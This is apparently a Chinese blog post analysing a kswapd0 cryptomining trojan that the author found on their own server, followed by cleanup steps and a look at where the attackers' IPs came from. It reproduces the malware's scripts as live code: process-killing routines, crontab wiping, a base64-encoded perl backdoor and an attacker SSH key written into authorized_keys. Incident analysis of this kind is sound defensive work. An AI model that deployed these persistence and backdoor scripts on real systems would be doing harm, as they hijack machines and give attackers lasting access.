挖矿木马kswapd0分析之肉鸡竟是我自己
声明:该文章来自(先知社区)版权由原作者所有,K2OS渲染引擎提供网页加速服务。
之前服务器总是有一些异地登陆的告警信息,用代理就会这样,自己也没太在意。今天偶然间打开一看,发现如下提示!
接下来处理一下!
收集信息
finalshell登陆发现CPU占用率为100%
ps auxw|head -1;ps auxw|sort -rn -k3|head -10 查看CPU占用最多的前10个进程
罪魁祸首是第一个,其PID是3124。ls -ail /proc]/PID查看其绝对路径
.configrc文件内容如下(.configrc的名字是为了把自己和.config文件混淆)
先查看a文件
其中run文件内容如下:
p#!/bin/bash ./stop ./init0 sleep 10 pwd > dir.dir dir=$(cat dir.dir) ARCH=`uname -m` if [ "$ARCH" == "i686" ]; then nohup ./anacron >>/dev/null & elif [ "$ARCH" == "x86_64" ]; then ./kswapd0 fi #闭合if echo $! > bash.pid #用来判断run是否执行过
其先执行stop,再执行init0,然后把当前的路径写到dir.dir。根据是86位还是64位,执行不同的程序。
dir.dir内容如下:
/root/.configrc/a
stop内容如下
#!/bin/sh #cron守护周期性的执行任务 pkill -9 cron killall -9 cron kill -9 `ps x|grep cron|grep -v grep|awk '{print $1}'`>.proc #删除自己冒充的对象 pkill -9 kswapd0 killall -9 kswapd0 kill -9 `ps x|grep kswapd0|grep -v grep|awk '{print $1}'`>.proc #进程管理 pkill -9 systemd killall -9 systemd kill -9 `ps x|grep systemd|grep -v grep|awk '{print $1}'`>.proc #动态链接加载 pkill -9 ld-linux killall -9 ld-linux kill -9 `ps x|grep ld-linux|grep -v grep|awk '{print $1}'`>.proc #权限管理 pkill -9 Donald killall -9 Donald kill -9 `ps x|grep Donald|grep -v grep|awk '{print $1}'`>.proc #与挖矿有关 pkill -9 xmr killall -9 xmr kill -9 `ps x|grep xmr|grep -v grep|awk '{print $1}'`>.proc #服务器杀毒 pkill -9 xm64 killall -9 xm64 kill -9 `ps x|grep xm64|grep -v grep|awk '{print $1}'`>.proc rm -rf .proc
init0内容如下。这个比较有趣,为了让自己有更多的资源,它先杀掉现有的挖矿进程。我谢谢你啊~
#!/bin/sh ##########################################################################################\ ### A script for killing cryptocurrecncy miners in a Linux enviornment ### Provided with zero liability (!) ### ### Some of the malware used as sources for this tool: ### https://pastebin.com/pxc1sXYZ ### https://pastebin.com/jRerGP1u ### SHA256: 2e3e8f980fde5757248e1c72ab8857eb2aea9ef4a37517261a1b013e3dc9e3c4 ##########################################################################################\ # Killing processes by name, path, arguments and CPU utilization processes(){ killme() { killall -9 chron-34e2fg;ps wx|awk '/34e|r\/v3|moy5|defunct/' | awk '{print $1}' | xargs kill -9 & > /dev/null & } killa() { what=$1;ps auxw|awk "/$what/" |awk '!/awk/' | awk '{print $2}'|xargs kill -9&>/dev/null& } killa 34e2fg killme # Killing big CPU VAR=$(ps uwx|awk '{print $2":"$3}'| grep -v CPU) for word in $VAR do CPUUSAGE=$(echo $word|awk -F":" '{print $2}'|awk -F"." '{ print $1}') if [ $CPUUSAGE -gt 45 ]; then echo BIG $word; PID=$(echo $word | awk -F":" '{print $1'});LINE=$(ps uwx | grep $PID);COUNT=$(echo $LINE| grep -P "er/v5|34e2|Xtmp|wf32N4|moy5Me|ssh"|wc -l);if [ $COUNT -eq 0 ]; then echo KILLING $line; fi;kill $PID;fi; done killall \.Historys killall \.sshd killall neptune killall xm64 killall xm32 killall ld-linux killall xmrig killall \.xmrig killall suppoieup pkill -f sourplum pkill wnTKYg && pkill ddg* && rm -rf /tmp/ddg* && rm -rf /tmp/wnTKYg ps auxf|grep -v grep|grep "mine.moneropool.com"|awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:8080"|awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:8080"|awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "119.9.76.107:443"|awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "monerohash.com"|awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "/tmp/a7b104c270"|awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:6666"|awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:7777"|awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:443"|awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "stratum.f2pool.com:8888"|awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "xmrpool.eu" | awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "xmrig" | awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "xmrigDaemon" | awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "xmrigMiner" | awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "/var/tmp/java" | awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "ddgs" | awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "qW3xT" | awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "t00ls.ru" | awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "/var/tmp/sustes" | awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "ld-linux" | awk '{print $2}'|xargs kill -9 ps auxf|grep xiaoyao| awk '{print $2}'|xargs kill -9 ps auxf|grep Donald| awk '{print $2}'|xargs kill -9 ps auxf|grep Macron| awk '{print $2}'|xargs kill -9 ps auxf|grep ld-linux| awk '{print $2}'|xargs kill -9 ps auxf|grep named| awk '{print $2}'|xargs kill -9 ps auxf|grep kernelcfg| awk '{print $2}'|xargs kill -9 ps auxf|grep xiaoxue| awk '{print $2}'|xargs kill -9 ps auxf|grep kernelupgrade| awk '{print $2}'|xargs kill -9 ps auxf|grep kernelorg| awk '{print $2}'|xargs kill -9 ps auxf|grep kernelupdates| awk '{print $2}'|xargs kill -9 ps ax|grep var|grep lib|grep jenkins|grep -v httpPort|grep -v headless|grep "\-c"|xargs kill -9 ps ax|grep -o './[0-9]* -c'| xargs pkill -f pkill -f /usr/bin/.sshd pkill -f acpid pkill -f Donald pkill -f Macron pkill -f AnXqV.yam pkill -f apaceha pkill -f askdljlqw pkill -f bashe pkill -f bashf pkill -f bashg pkill -f bashh pkill -f bashx pkill -f BI5zj pkill -f biosetjenkins pkill -f bonn.sh pkill -f bonns pkill -f conn.sh pkill -f conns pkill -f cryptonight pkill -f crypto-pool pkill -f ddg.2011 pkill -f deamon pkill -f disk_genius pkill -f donns pkill -f Duck.sh pkill -f gddr pkill -f Guard.sh pkill -f i586 pkill -f icb5o pkill -f ir29xc1 pkill -f irqba2anc1 pkill -f irqba5xnc1 pkill -f irqbalanc1 pkill -f irqbalance pkill -f irqbnc1 pkill -f JnKihGjn pkill -f jweri pkill -f kw.sh pkill -f kworker34 pkill -f kxjd pkill -f libapache pkill -f Loopback pkill -f lx26 pkill -f mgwsl pkill -f minerd pkill -f minergate pkill -f minexmr pkill -f mixnerdx pkill -f mstxmr pkill -f nanoWatch pkill -f nopxi pkill -f NXLAi pkill -f performedl pkill -f polkitd pkill -f pro.sh pkill -f pythno pkill -f qW3xT.2 pkill -f sourplum pkill -f stratum pkill -f sustes pkill -f wnTKYg pkill -f XbashY pkill -f XJnRj pkill -f xmrig pkill -f xmrigDaemon pkill -f xmrigMiner pkill -f ysaydh pkill -f zigw pkill -f ld-linux # crond ps ax | grep crond | grep -v grep | awk '{print $1}' > /tmp/crondpid while read crondpid do if [ $(echo $(ps -p $crondpid -o %cpu | grep -v \%CPU) | sed -e 's/\.[0-9]*//g') -ge 60 ] then kill $crondpid rm -rf /var/tmp/v3 fi done < /tmp/crondpid rm /tmp/crondpid -f # sshd ps ax | grep sshd | grep -v grep | awk '{print $1}' > /tmp/ssdpid while read sshdpid do if [ $(echo $(ps -p $sshdpid -o %cpu | grep -v \%CPU) | sed -e 's/\.[0-9]*//g') -ge 60 ] then kill $sshdpid fi done < /tmp/ssdpid rm -f /tmp/ssdpid # syslog ps ax | grep syslogs | grep -v grep | awk '{print $1}' > /tmp/syslogspid while read syslogpid do if [ $(echo $(ps -p $syslogpid -o %cpu | grep -v \%CPU) | sed -e 's/\.[0-9]*//g') -ge 60 ] then kill $syslogpid fi done < /tmp/syslogspid rm /tmp/syslogspid -f ps x | grep 'b 22'| awk '{print $1,$5}' > .procs cat .procs | while read line do pid=`echo $line | awk '{print $1;}'` name=`echo $line | awk '{print $2;}'` #echo $pid $name if [ $(echo $name | wc -c) -lt "13" ] then echo "Found" $pid $name kill -9 $pid fi done #################################################### ps x | grep 'd 22'| awk '{print $1,$5}' > .procs cat .procs | while read line do pid=`echo $line | awk '{print $1;}'` name=`echo $line | awk '{print $2;}'` #echo $pid $name if [ $(echo $name | wc -c) -lt "13" ] then echo "Found" $pid $name kill -9 $pid fi done } # Removing miners by known path IOC files(){ rm /tmp/.cron rm /tmp/Donald* rm /tmp/Macron* rm /tmp/.main rm /tmp/.yam* -rf rm -f /tmp/irq rm -f /tmp/irq.sh rm -f /tmp/irqbalanc1 rm -rf /boot/grub/deamon && rm -rf /boot/grub/disk_genius rm -rf /tmp/*httpd.conf rm -rf /tmp/*httpd.conf* rm -rf /tmp/*index_bak* rm -rf /tmp/.systemd-private-* rm -rf /tmp/.xm* rm -rf /tmp/a7b104c270 rm -rf /tmp/conn rm -rf /tmp/conns rm -rf /tmp/httpd.conf rm -rf /tmp/java* rm -rf /tmp/kworkerds /bin/kworkerds /bin/config.json /var/tmp/kworkerds /var/tmp/config.json /usr/local/lib/libjdk.so rm -rf /tmp/qW3xT.2 /tmp/ddgs.3013 /tmp/ddgs.3012 /tmp/wnTKYg /tmp/2t3ik rm -rf /tmp/root.sh /tmp/pools.txt /tmp/libapache /tmp/config.json /tmp/bashf /tmp/bashg /tmp/libapache rm -rf /tmp/xm* rm -rf /var/tmp/java* } # Killing and blocking miners by network related IOC network(){ # Kill by known ports/IPs netstat -anp | grep 69.28.55.86:443 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9 netstat -anp | grep 185.71.65.238 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9 netstat -anp | grep 140.82.52.87 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9 netstat -anp | grep 119.9.76.107 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9 netstat -anp | grep :443 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9 netstat -anp | grep :23 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9 netstat -anp | grep :443 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9 netstat -anp | grep :143 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9 netstat -anp | grep :2222 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9 netstat -anp | grep :3333 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9 netstat -anp | grep :3389 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9 netstat -anp | grep :4444 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9 netstat -anp | grep :5555 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9 netstat -anp | grep :6666 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9 netstat -anp | grep :6665 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9 netstat -anp | grep :6667 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9 netstat -anp | grep :7777 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9 netstat -anp | grep :8444 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9 netstat -anp | grep :3347 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9 netstat -anp | grep :14444 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9 netstat -anp | grep :14433 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9 netstat -anp | grep :13531 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9 } files processes network echo "DONE"
a内容如下:(检测cpu的信息)
#!/bin/sh crontab -r #删除定时任务。慎用 pwd > dir.dir #写入目录 dir=$(cat dir.dir) echo "#!/bin/sh cd $dir if test -r $dir/bash.pid; then pid=\$(cat $dir/bash.pid) if \$(kill -CHLD \$pid >/dev/null 2>&1) then exit 0 fi fi ./run &>/dev/null" > upd sysctl -w vm.nr_hugepages=$(nproc) for i in $(find /sys/devices/system/node/node* -maxdepth 0 -type d); do echo 3 > "$i/hugepages/hugepages-1048576kB/nr_hugepages"; done modprobe msr if cat /proc/cpuinfo | grep "AMD Ryzen" > /dev/null; then echo "Detected Ryzen" wrmsr -a 0xc0011022 0x510000 wrmsr -a 0xc001102b 0x1808cc16 wrmsr -a 0xc0011020 0 wrmsr -a 0xc0011021 0x40 echo "MSR register values for Ryzen applied" elif cat /proc/cpuinfo | grep "Intel" > /dev/null; then echo "Detected Intel" wrmsr -a 0x1a4 6 echo "MSR register values for Intel applied" else echo "No supported CPU detected" fi chmod u+x upd chmod 777 * ./upd
其中还有upd
then exit 0 fi fi ./run &>/dev/null
b文件夹中,内容如下。
a文件
#!/bin/sh pwd > dir.dir dir=$(cat dir.dir) cd $dir ./stop echo "#!/bin/sh #这里的输出是用来提出执行到那一步了 cd $dir ./run">sync chmod u+x sync chmod u+x stop chmod u+x ps chmod u+x run ./run
dir.dir
/root/.configrc/b
run
#!/bin/sh nohup ./stop>>/dev/null & sleep 5 echo "ZXZhbCB1bnBhY2sgdT0+cXtfIkZVWSgiMVA8Rl1DOTctUztSYF0oIj1SPFdFTjhSPFsiQEhEPFY1Uj1GRUQ7VyhdKVMwVStDRE4sMzBYK0NEWSlSIVU7RlFFPFcsQCknLUU8RzlJXzkmXVIuUElNPjJgRDwmXVI9JiRdKVMwVCxSPFsiRlVZKCQhQzg2WUE6NyxdKiIoQywjYFcoQkRbIkZVWSgkIUE5JlVTLzJAQjwmXUw7J0RCKyIpTV87VlFMPjIoSS5QSU0+MiFgODc1VDojVE ...... FPPEYtRTtCKEkuUEhAKCdUKiJASEAoJylFPSc1UjtCQFAqM0wqPzBIKiJHLVU4QiFGOjdBQTkmMVIoJ0wqKCJgQF8oJlVZKCJARDg2MUQ8RjVTPFJEQC8yIWA3U0wqIkJgQCgiIUM6Jl1NPCJgRDg2MUQ8RjVTPFNMQCgiYEAoYEhAKCJgQDo2OEAqIjFBOSYxUjk3LVNfKCNVXigiXT43JjBLKSJcSSgnTCooImBAKCJgQCgiIVI5NzFVPEZYQDo2WUU9JV1OPSZdQSonIUE4VkxAKERYQisiYEQ4NjFEPEY1UzxSRFsiQmBAXygiIV0oJjVMPFZFRigiQEQ4NjFEPEY1UzxSYF0/QmBPN0VMUSxFVF83JjFbLDJQUj81UE42UyRSNzNdPDknTFErIyldNyJZOywzKT0vVVFEPlMkTF8sR1U8K0VMUSxFVF83JjFbLDJQUj8yME8qMiFbIkJgQCgiYEAoImBAPEY1VD03KU4oIjFBOSYxUjk3LVMuUEhAKCJgQD8yIUU7Jy1JOUJgSCkmJURfOScpRTxXLEAvN1hAPScoTzgyVVowMlU6K1JcSSgnTEAoImBAKCJgQCgiYEAoImBAKCJgQCgiYEAoYEhAKCJgQCgiYEAoJylFPSc1UjtCIUk7RjVUXzdWWVQ7ViRIKiJBRzk3MUg7Vy1UOEdFTjg2VUUqIjFBOSYxUjk3LVMqMkU7LSVUSTZTIT0qM0wqKCJgQCgnVEA5NlFTOTIhWyJCYEAoImBAKCJgQC88RjVUPTcpTi5QSEAoImBAPzBJXX0=" | base64 --decode | perl cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh root@VM-0-3-ubuntu:~/.configrc/b#
前面base64编码了,解码之后发现还被混淆了。别人的文章指出其是一个基于perl的后门工具。
最后果然是加入密钥连接!
stop
#!/bin/sh killall -9 rsync > .out killall -9 sync > .out killall -9 perl> .out killall -9 ps killall -9 pool>.out killall -9 nginx>.out killall -9 ecryptfs>.out killall -9 xmr>.out pkill -9 ps pkill -9 pool pkill -9 nginx pkill -9 ecryptfs pkill -9 xmr pkill -9 sync kill -9 `ps x|grep ps|grep -v grep|awk '{print $1}'`> .out kill -9 `ps x|grep sync|grep -v grep|awk '{print $1}'`> .out kill -9 `ps x|grep nginx|grep -v grep|awk '{print $1}'`> .out kill -9 `ps x|grep ecryptfs|grep -v grep|awk '{print $1}'`> .out kill -9 `ps x|grep xmr|grep -v grep|awk '{print $1}'`> .out kill -9 `ps x|grep perl|grep -v grep|awk '{print $1}'`> .out kill -9 `ps x|grep rsync|grep -v grep|awk '{print $1}'`> .out for pid in $(ps -ef | grep "rsync" | awk '{print $2}'); do kill -9 $pid; done> .out for pid in $(ps -ef | grep "sync" | awk '{print $2}'); do kill -9 $pid; done> .out pkill -9 rsync> .out pkill -9 perl> .out pkill -9 ps>.out rm -rf .proc .out
sync
#!/bin/sh cd /root/.configrc/b ./run
总文件
cron.d,保存要定时的内容
1 1 */2 * * /root/.configrc/a/upd>/dev/null 2>&1 @reboot /root/.configrc/a/upd>/dev/null 2>&1 5 8 * * 0 /root/.configrc/b/sync>/dev/null 2>&1 @reboot /root/.configrc/b/sync>/dev/null 2>&1 0 0 */3 * * /tmp/.X25-unix/.rsync/c/aptitude>/dev/null 2>&1
删除木马
1、
rm -rf .configrc/
删除文件后CPU占用率还是100%,kill正在运行的进程
kill -9 3124
这样之后CPU恢复正常。
2、查看进程的工作空间
ps -ef | grep kswapd0
3、查看定时任务
crontab -r删除之
4、把密钥登陆中的密钥删除了。
5、tmp
tmp中查看文件,文件有很复杂的结构。它好像是把我原来的/tmp打包放在了他的某个目录下面,然后新增了几个XX-unix文件,不管了,先删除。
未找到最开始提示的.X25-unix文件,猜测可是是完成指令之后为了逃避检测自己删除了或者是改名字了。
6、排查其他用户
没有发现被感染,所以应该还是root的弱口令问题....
攻击画像
前两天学习到了攻击画像这个非常高端的名词,大致意思就是描述攻击者的身份、攻击手法等。
1、地区
netstat -antlp 查看系统外部链接
查询发现是荷兰的ip。
查看登录记录及日志文件
只看今天的日志,尝试登陆的ip有如下几个
49.232.168.182 --- 北京 104.199.35.3 --- 比利时瓦隆大区圣吉斯兰 181.53.13.181 --- 哥伦比亚 134.175.240.28 --- 广东 121.5.142.246 --- 上海 189.154.98.68 --- 墨西哥奇瓦瓦州奇瓦瓦市 212.42.199.112 --- 亚美尼亚 45.248.189.3 --- 印度 .... lastb #可以列出尝试登陆的信息
原来服务器每天被尝试登陆这么多次,辛苦了1551
2、
在百度的时候,发现它和木马dota3的攻击手法非常类似。
有文章指出其是WachtdogsMiner的挖矿蠕虫的变种,伪装成kswapd0进程利用cpu挖门罗币。运行机制如下:
参考
https://blog.csdn.net/jzz601264258/article/details/105850816
https://blog.csdn.net/whatday/article/details/103761081
https://www.freebuf.com/articles/terminal/204687.html
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